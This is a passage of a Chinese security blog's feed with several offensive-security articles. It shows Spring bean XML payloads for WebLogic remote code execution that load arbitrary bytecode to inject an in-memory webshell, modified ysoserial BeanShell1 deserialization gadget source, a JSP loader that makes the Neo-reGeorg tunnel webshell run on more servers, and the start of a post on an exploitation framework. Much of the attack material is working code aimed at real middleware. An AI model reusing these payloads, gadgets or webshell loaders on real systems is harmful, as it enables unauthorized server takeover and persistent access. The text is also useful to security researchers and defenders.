id="2-3-bcel"><a href="#2-3-bcel" class="headerlink" title="2.3 bcel"></a>2.3 bcel</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(<span class="string">"$$BCEL$$$..."</span>).newInstance();</span><br></pre></td></tr></table></figure><p>代码转换为spring bean:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"classloader"</span> <span class="attr">class</span>=<span class="string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"clazz"</span> <span class="attr">factory-bean</span>=<span class="string">"classloader"</span> <span class="attr">factory-method</span>=<span class="string">"loadClass"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"java.lang.String"</span> <span class="attr">value</span>=<span class="string">"$$BCEL$$$......"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">factory-bean</span>=<span class="string">"clazz"</span> <span class="attr">factory-method</span>=<span class="string">"newInstance"</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>有的JDK版本下bcel被去掉了,so还得继续优化。</p><h4 id="2-4-java-lang-ClassLoader-defineClass"><a href="#2-4-java-lang-ClassLoader-defineClass" class="headerlink" title="2.4 java.lang.ClassLoader#defineClass"></a>2.4 java.lang.ClassLoader#defineClass</h4><p>java下执行代码要说兼容性最好,当然还得是<code>java.lang.ClassLoader#defineClass</code>。接下来只需要思考如何把下面的代码,用sprng bean来表达即可。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">byte</span>[] clazzBytes = <span class="keyword">new</span> <span class="keyword">byte</span>[]{-<span class="number">54</span>,-<span class="number">2</span>,-<span class="number">70</span>,-<span class="number">66</span>,<span class="number">0</span>,......};</span><br><span class="line">Method defineClass = ClassLoader.class.getDeclaredMethod(<span class="string">"defineClass"</span>, <span class="keyword">byte</span>[].class, <span class="keyword">int</span>.class, <span class="keyword">int</span>.class);</span><br><span class="line">defineClass.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">Class clazz = (Class)defineClass.invoke(<span class="keyword">new</span> MLet(),clazzBytes,<span class="number">0</span>,clazzBytes.length);</span><br><span class="line">clazz.newInstance();</span><br></pre></td></tr></table></figure><p><strong>通过研究发现一个小细节,spring bean可以调用私有方法无需反射。这就很方便了,可以直接调用当前class及其所有父类的方法。</strong></p><p>构造过程还遇到一个问题,使用<code><list></code>标签存储class字节码导致payload要大很多。当然有的人会想的用<code>weblogic.utils.Hex</code>来编码,其实Base64编码体积更小。由于不同版本JDK下Base64 api有变化,为了通用我打算去weblogic下找,并着重考虑<code>weblogic.*</code>包名下的。最后找到了如下两个,不过<code>1</code>没有被当前classloader加载,只能选择<code>2</code>。</p><ol><li>weblogic.servlet.utils.Base64</li><li>weblogic.utils.encoders.BASE64Decoder</li></ol><p>最终优化如下,大概就是我目前觉得最好的payload了。如果你有更好的payload欢迎留言交流。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="attr">xsi:schemaLocation</span>=<span class="string">" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"decoder"</span> <span class="attr">class</span>=<span class="string">"weblogic.utils.encoders.BASE64Decoder"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"clazzBytes"</span> <span class="attr">factory-bean</span>=<span class="string">"decoder"</span> <span class="attr">factory-method</span>=<span class="string">"decodeBuffer"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"java.lang.String"</span> <span class="attr">value</span>=<span class="string">"yv66vgAAA......"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"classLoader"</span> <span class="attr">class</span>=<span class="string">"javax.management.loading.MLet"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"clazz"</span> <span class="attr">factory-bean</span>=<span class="string">"classLoader"</span> <span class="attr">factory-method</span>=<span class="string">"defineClass"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"[B"</span> <span class="attr">ref</span>=<span class="string">"clazzBytes"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"int"</span> <span class="attr">value</span>=<span class="string">"0"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">constructor-arg</span> <span class="attr">type</span>=<span class="string">"int"</span> <span class="attr">value</span>=<span class="string">"10692"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">factory-bean</span>=<span class="string">"clazz"</span> <span class="attr">factory-method</span>=<span class="string">"newInstance"</span>/></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p><img src="/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/inject-memshell-by-spring-bean.png" alt="通过spring bean注入内存马"></p><p>顺便写一个woodpecker插件留以后备用,美如画。</p><p><img src="/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/woodpecker-spring-bean-payload-generator.png" alt="woodpecker spring bean rce payload生成插件"></p><h2 id="0x03-参考文章"><a href="#0x03-参考文章" class="headerlink" title="0x03 参考文章"></a>0x03 参考文章</h2><ul><li><a href="https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#beans-dependencies" target="_blank" rel="noopener">https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#beans-dependencies</a></li><li><a href="https://www.cnblogs.com/happyflyingpig/p/8047441.html" target="_blank" rel="noopener">spring bean中子元素lookup-method和replaced-method</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x00-背景"><a href="#0x00-背景" class="headerlink" title="0x00 背景"></a>0x00 背景</h2><p>有一次通过<code>CVE-2020-14882</code>漏洞打了一台Windows上的<co
</summary>
<category term="漏洞利用" scheme="https://gv7.me/tags/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
</entry>
<entry>
<title>有一个gadget正在泄露你的ID</title>
<link href="https://gv7.me/articles/2021/a-gadget-is-secretly-leaking-your-id/"/>
<id>https://gv7.me/articles/2021/a-gadget-is-secretly-leaking-your-id/</id>
<published>2021-08-25T02:46:57.000Z</published>
<updated>2021-10-10T12:25:46.483Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在Java反序列化漏洞炙手可热的当下,许多自动化工具都在使用ysoserial的gadget。而这些gadget当中,有一个gadget正在偷偷泄露你的id — <code>BeanShell1</code></p><p><img src="/articles/2021/a-gadget-is-secretly-leaking-your-id/beanshell1-leaks-the-current-running-path.png" alt="BeanShell1泄露当前运行路径"></p><p>这意味着经常使用shiro批量爆破gadget工具的小伙伴,蓝队同学可能解密下paylaod就能得到你的id了。</p><h2 id="0x02-定位信息泄露属性"><a href="#0x02-定位信息泄露属性" class="headerlink" title="0x02 定位信息泄露属性"></a>0x02 定位信息泄露属性</h2><p>通过使用<a href="https://github.com/c0ny1/java-object-searcher" target="_blank" rel="noopener">java-object-searcher</a>搜索,找到敏感信息存储在<code>bsh.NameSpace</code>类的<code>variables</code>属性中。</p><p><img src="/articles/2021/a-gadget-is-secretly-leaking-your-id/store-the-attributes-of-the-current-running-path.png" alt="存储当前运行路径的属性"></p><p>通过阅读该类代码,发现只有<code>setTypedVariable</code>方法对<code>variables</code>进行<code>put</code>操作,在该处下断点。</p><p>重新调式,看到<code>当前运行路径</code>被put进来后,顺着调用堆栈往上分析。发现<code>BeanShell1</code>在<code>Interpreter</code>对象初始化时,调用<code>bsh.Interpreter#initRootSystemObject</code>设置了<code>bsh.cwd</code>值为<code>当前运行路径</code>,最终它被保存到了序列化数据中。</p><p><img src="/articles/2021/a-gadget-is-secretly-leaking-your-id/get-the-current-running-path.png" alt="获取当前运行路径"></p><h2 id="0x03-构造干净的BeanShell1"><a href="#0x03-构造干净的BeanShell1" class="headerlink" title="0x03 构造干净的BeanShell1"></a>0x03 构造干净的BeanShell1</h2><p>既然<code>Interpreter</code>对象通过<code>setu</code>方法存储了敏感信息,那么我们同样可以调用该方法将敏感信息覆盖掉,防止信息泄露。</p><p>所以要构造一个干净的BeanShell1 gadget,只需要在<code>Interpreter</code>对象创建后反射调用<code>setu</code>方法覆盖<code>bsh.cwd</code>值为<code>.</code>(第13-15行代码)即可。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@SuppressWarnings</span>({ <span class="string">"rawtypes"</span>, <span class="string">"unchecked"</span> })</span><br><span class="line"><span class="meta">@Dependencies</span>({ <span class="string">"org.beanshell:bsh:2.0b5"</span> })</span><br><span class="line"><span class="meta">@Authors</span>({Authors.PWNTESTER, Authors.CSCHNEIDER4711})</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">BeanShell1</span> <span class="keyword">extends</span> <span class="title">PayloadRunner</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">PriorityQueue</span>> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> PriorityQueue <span class="title">getObject</span><span class="params">(String command)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="comment">// BeanShell payload</span></span><br><span class="line"> String payload = BeanShellUtil.getPayload(command);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create Interpreter</span></span><br><span class="line"> Interpreter i = <span class="keyword">new</span> Interpreter();</span><br><span class="line"> <span class="comment">/***** 覆盖bsh.cwd,清空user.dir,防止信息泄露 *****/</span></span><br><span class="line"> Method setu = i.getClass().getDeclaredMethod(<span class="string">"setu"</span>,<span class="keyword">new</span> Class[]{String.class,Object.class});</span><br><span class="line"> setu.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> setu.invoke(i,<span class="keyword">new</span> Object[]{<span class="string">"bsh.cwd"</span>,<span class="string">"."</span>});</span><br><span class="line"> <span class="comment">/***********************************************/</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// Evaluate payload</span></span><br><span class="line"> i.eval(payload);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create InvocationHandler</span></span><br><span class="line"> XThis xt = <span class="keyword">new</span> XThis(i.getNameSpace(), i);</span><br><span class="line"> InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), <span class="string">"invocationHandler"</span>).get(xt);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create Comparator Proxy</span></span><br><span class="line"> Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), <span class="keyword">new</span> Class<?>[]{Comparator.class}, handler);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)</span></span><br><span class="line"> <span class="keyword">final</span> PriorityQueue<Object> priorityQueue = <span class="keyword">new</span> PriorityQueue<Object>(<span class="number">2</span>, comparator);</span><br><span class="line"> Object[] queue = <span class="keyword">new</span> Object[] {<span class="number">1</span>,<span class="number">1</span>};</span><br><span class="line"> Reflections.setFieldValue(priorityQueue, <span class="string">"queue"</span>, queue);</span><br><span class="line"> Reflections.setFieldValue(priorityQueue, <span class="string">"size"</span>, <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> priorityQueue;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>目前已经给<code>ysoserial</code>项目<a href="https://github.com/frohoff/ysoserial/pull/169" target="_blank" rel="noopener">pr</a>,等待官方修复。当然大家也可以使用我二次开发的<a href="https://github.com/woodpecker-framework/ysoserial-for-woodpecker" target="_blank" rel="noopener">ysoserial-for-woopecker</a>。</p><p><img src="/articles/2021/a-gadget-is-secretly-leaking-your-id/pr.png" alt="给官方提的pr"></p>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在Java反序列化漏洞炙手可热的当下,许多自动化工具都在使用ysoserial的gadget。而这些
</summary>
<category term="安全开发" scheme="https://gv7.me/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>通过加载class提高Neo-reGeorg兼容性</title>
<link href="https://gv7.me/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/"/>
<id>https://gv7.me/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/</id>
<published>2021-08-19T15:23:28.000Z</published>
<updated>2021-09-13T15:35:16.949Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>一大早就看到<code>L-codes</code>师傅发消息说,Neo-reGeorg jsp服务端又出现问题了,印象里已经不是一两次了。大部分都是兼容性问题,这次也不例外。</p><p><img src="/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/unable-to-compile-neo-regeorg.png" alt="在tomcat 5.5.9下的报错"></p><p>是时候设计一个一劳永逸的方案了。</p><h2 id="0x02-分析原因"><a href="#0x02-分析原因" class="headerlink" title="0x02 分析原因"></a>0x02 分析原因</h2><p>我们知道jsp从被访问到运行,经历如下阶段。</p><p><img src="/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/jsp-execution-process.png" alt="jsp执行流程"></p><p>本案例中发现tomcat work目录下已经存在了<code>tunnel_jsp.java</code>,但是没有<code>tunnel_jsp.class</code>,说明阶段1已经过。结合页面报错信息,在2阶段时Tomcat内置的编译器JDTCompiler,编译报错了。</p><p>检查<code>tunnel_jsp.java</code>代码并没有语法错误,尝试使用javac编译,编译成功!看来JDTCompiler与javac实现逻辑并不同,而且没有javac强大。</p><p><img src="/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/javac-compiles-through.png" alt="javac可以编译通过"></p><p>编译成功之后我再访问tunnel.jsp页面不再报错了。可见提高一个<code>.jsp</code>的兼容,无非就是让它在各个中间件下成功变成一个<code>.class</code>。而这个过程与具体中间件的<code>jsp转换器</code>的解析机制,<code>java编译器</code>的编译机制和<code>servlet-api</code>的版本息息相关。</p><p>那么我们是不是可以把Neo-reGeorg的服务端代码提取变成class字节码,然后jsp来加载和调用,来提高这个过程的成功率呢?。<strong>总之核心思想就是把尽可能多的业务逻辑变成最终可运行的java字节码,同时尽可能的减少jsp代码,少用api少用语法糖少用特性。</strong></p><h2 id="0x03-编码实现"><a href="#0x03-编码实现" class="headerlink" title="0x03 编码实现"></a>0x03 编码实现</h2><p>我们先来移植服务端模版代码为java代码。直接新建一个<code>NeoreGeorg.java</code>,将jsp中的方法直接copy,主体代码的移植需要注意2个问题。</p><p>第一、参数提炼问题。我们需要把模版变化的地方,提取出来作为参数,比如<code>X-CMD</code>这样的指令,<code>POST request read filed</code>这样的提示,Neo-reGorg需要通过随机替换它们实现流量加密。</p><p>第二、参数传递问题。参数可以通过构造方法或者自定义方法传递进来,但是这样要多写些反射代码。本着jsp代码越少越好原则,使用每个类都有的<code>equal(java.lang.Object)</code>方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/NeoreGeorg.java</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">NeoreGeorg</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">char</span>[] en;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">byte</span>[] de;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> HTTPCODE;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> READBUF;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> MAXREADSIZE;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">equals</span><span class="params">(Object obj)</span> </span>{</span><br><span class="line"> <span class="comment">// 接收参数</span></span><br><span class="line"> Object[] args = (Object[]) obj;</span><br><span class="line"> HttpServletRequest request = (HttpServletRequest) args[<span class="number">0</span>];</span><br><span class="line"> HttpServletResponse response = (HttpServletResponse) args[<span class="number">1</span>];</span><br><span class="line"> en = (<span class="keyword">char</span>[])args[<span class="number">2</span>];</span><br><span class="line"> de = (<span class="keyword">byte</span>[])args[<span class="number">3</span>];</span><br><span class="line"> HTTPCODE = (Integer) args[<span class="number">4</span>];</span><br><span class="line"> READBUF = (Integer) args[<span class="number">5</span>];</span><br><span class="line"> MAXREADSIZE = (Integer) args[<span class="number">6</span>];</span><br><span class="line"></span><br><span class="line"> ServletContext application = request.getSession().getServletContext();</span><br><span class="line"> Writer out = response.getWriter();</span><br><span class="line"> ......</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// Neo-reGorg主要流程代码。</span></span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> ....</span><br><span class="line"> <span class="comment">//其他方法照抄</span></span><br><span class="line"> ....</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>为了兼容更多的jdk版本我们这里选择使用1.5编译,同时为了class体积更小,可以使用<code>-g:none</code>去掉调试信息。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java</span><br></pre></td></tr></table></figure><p>jsp部分很简单,定义一个classloader用于加载class,然后将该class newInstance进行调用。有二个点可以简单讲讲。</p><p>第一,class字节码的存储方式问题。本着少用api的原则,我直接用byte数组存储。当然如果字节码太多,可能会有<code>The code of method _jspService(...) is exceeding the 65535 bytes limit</code>报错问题,推荐用hex编码解决。</p><p>第二,全局存储class对象问题。推荐使用<code>application</code>对象,而不是<code>session</code>对象进行存储,否则遇到负载的情况就麻烦了。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/tunnel.jsp</span></span><br><span class="line"><%@ page <span class="keyword">import</span>=<span class="string">"sun.misc.BASE64Decoder"</span> %></span><br><span class="line"><%!</span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">U</span> <span class="keyword">extends</span> <span class="title">ClassLoader</span> </span>{</span><br><span class="line"> U(ClassLoader c) {</span><br><span class="line"> <span class="keyword">super</span>(c);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Class <span class="title">g</span><span class="params">(<span class="keyword">byte</span>[] b)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">super</span>.defineClass(b, <span class="number">0</span>, b.length);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">%></span><br><span class="line"></span><br><span class="line"><%</span><br><span class="line"> Object[] args = <span class="keyword">new</span> Object[]{</span><br><span class="line"> request, <span class="comment">//0</span></span><br><span class="line"> response, <span class="comment">//1</span></span><br><span class="line"> <span class="string">"BASE64 CHARSLIST"</span>.toCharArray(), <span class="comment">//2</span></span><br><span class="line"> <span class="keyword">new</span> <span class="keyword">byte</span>[]{BASE64 ARRAYLIST},<span class="comment">//3</span></span><br><span class="line"> <span class="keyword">new</span> Integer(HTTPCODE),<span class="comment">//4</span></span><br><span class="line"> <span class="keyword">new</span> Integer(READBUF),<span class="comment">//5</span></span><br><span class="line"> <span class="keyword">new</span> Integer(MAXREADSIZE),<span class="comment">//6</span></span><br><span class="line"> <span class="string">"X-STATUS"</span>,<span class="comment">//7</span></span><br><span class="line"> <span class="string">"X-ERROR"</span>,<span class="comment">//8</span></span><br><span class="line"> <span class="string">"X-CMD"</span>,<span class="comment">//9</span></span><br><span class="line"> <span class="string">"X-TARGET"</span>,<span class="comment">//10</span></span><br><span class="line"> <span class="string">"X-REDIRECTURL"</span>,<span class="comment">//11</span></span><br><span class="line"> <span class="string">"FAIL"</span>,<span class="comment">//12</span></span><br><span class="line"> <span class="string">"Georg says, 'All seems fine'"</span>,<span class="comment">//13</span></span><br><span class="line"> <span class="string">"Failed creating socket"</span>,<span class="comment">//14</span></span><br><span class="line"> <span class="string">"Failed connecting to target"</span>,<span class="comment">//15</span></span><br><span class="line"> <span class="string">"OK"</span>,<span class="comment">//16</span></span><br><span class="line"> <span class="string">"Failed writing socket"</span>,<span class="comment">//17</span></span><br><span class="line"> <span class="string">"CONNECT"</span>,<span class="comment">//18</span></span><br><span class="line"> <span class="string">"DISCONNECT"</span>,<span class="comment">//19</span></span><br><span class="line"> <span class="string">"READ"</span>,<span class="comment">//20</span></span><br><span class="line"> <span class="string">"FORWARD"</span>,<span class="comment">//21</span></span><br><span class="line"> <span class="string">"Failed reading from socket"</span>,<span class="comment">//22</span></span><br><span class="line"> <span class="string">"No more running, close now"</span>,<span class="comment">//23</span></span><br><span class="line"> <span class="string">"POST request read filed"</span>,<span class="comment">//24</span></span><br><span class="line"> <span class="string">"Intranet forwarding failed"</span><span class="comment">//25</span></span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(application.getAttribute(<span class="string">"u"</span>) != <span class="keyword">null</span>){</span><br><span class="line"> application.getAttribute(<span class="string">"u"</span>).equals(args);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">byte</span>[] classBytes = <span class="keyword">new</span> <span class="keyword">byte</span>[]{.....} <span class="comment">// NeoreGeorg.class字节码</span></span><br><span class="line"> Class clazz = <span class="keyword">new</span> U(<span class="keyword">this</span>.getClass().getClassLoader()).g(classBytes);</span><br><span class="line"> application.setAttribute(<span class="string">"u"</span>,clazz.newInstance());</span><br><span class="line"> }</span><br><span class="line">%></span><br></pre></td></tr></table></figure><p>经过测试在各个中间件下稳定运行,顺手给L-codes师傅一个<a href="https://github.com/L-codes/Neo-reGeorg/pull/42" target="_blank" rel="noopener">pr</a>。</p><h2 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h2><p>其实这个方法可以使用很多jsp脚本的改造,比如内存马注入jsp,jsp大马,蚁剑一句话木马等等。大家可以照猫画虎,自行修改。</p>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>一大早就看到<code>L-codes</code>师傅发消息说,Neo-reGeorg jsp服务
</summary>
<category term="安全开发" scheme="https://gv7.me/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>高危漏洞狙击框架:woodpecker-framework</title>
<link href="https://gv7.me/articles/2021/woodpecker-framework-introduce/"/>
<id>https://gv7.me/articles/2021/woodpecker-framework-introduce/</id>
<published>2021-08-09T11:55:17.000Z</published>
<updated>2021-08-15T09:41:31.951Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-简介"><a href="#0x01-简介" class="headerlink" title="0x01 简介"></a>0x01 简介</h2><p>woodpecker-framework是一款高危漏洞综合利用框架,目的是可以狙击高危漏洞,拿到权限!其设计是由我在日常红队外围打点经验抽象得来。它的每个模块和外围打点的主要流程是一一对应的。</p><p>比如遇到一个具体的外围应用,渗透测试的流程是:</p><ol><li>探测当前应用所有攻击面和风险点 (信息探测模块)</li><li>使用poc探测漏洞是否存在 (精准检测模块)</li><li>通过exp拿下webshell (深度利用模块)</li><li>遇到奇葩环境漏洞环境自动化无法打死,需要人工生成payload (荷载生成模块)</li><li>人工构造payload时经常需要做一些常规操作,比如把Class变成BCEL编码,runtime.exec命令变形等等 (辅助模块)</li></ol><p>下面围绕weblogic和shiro这两个高频漏洞应用来详细介绍每个模块。</p><h2 id="0x02-信息探测模块(InfoDetector)"><a href="#0x02-信息探测模块(InfoDetector)" class="headerlink" title="0x02 信息探测模块(InfoDetector)"></a>0x02 信息探测模块(InfoDetector)</h2><p><strong>信息探测模块的任务是寻找当前应用最薄弱的点。</strong> 显然有用的信息是判断的重要依据。这里探测的信息不是什么操作系,中间件,cms之类的指纹识别。而是针对具体应用的攻击面和风险点的探测,比如weblogic就会探测如下信息。</p><ol><li>weblogic是那个版本</li><li>协议是否开启t3/iiop协议</li><li>web端口是否可以访问到console,wls,async之类的组件</li></ol><p><img src="/articles/2021/woodpecker-framework-introduce/weblogic-info-detector.png" alt></p><p>顺便值得一提的是,我们探测t3/iiop协议的时候,还需要探测它们是否被设置为禁止连接,不然探测出open也是无法利用的。如上图的t3开启了但是配置了如下过滤。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">weblogic.security.net.ConnectionFilterImpl</span><br><span class="line">0.0.0.0/0 * * deny t3 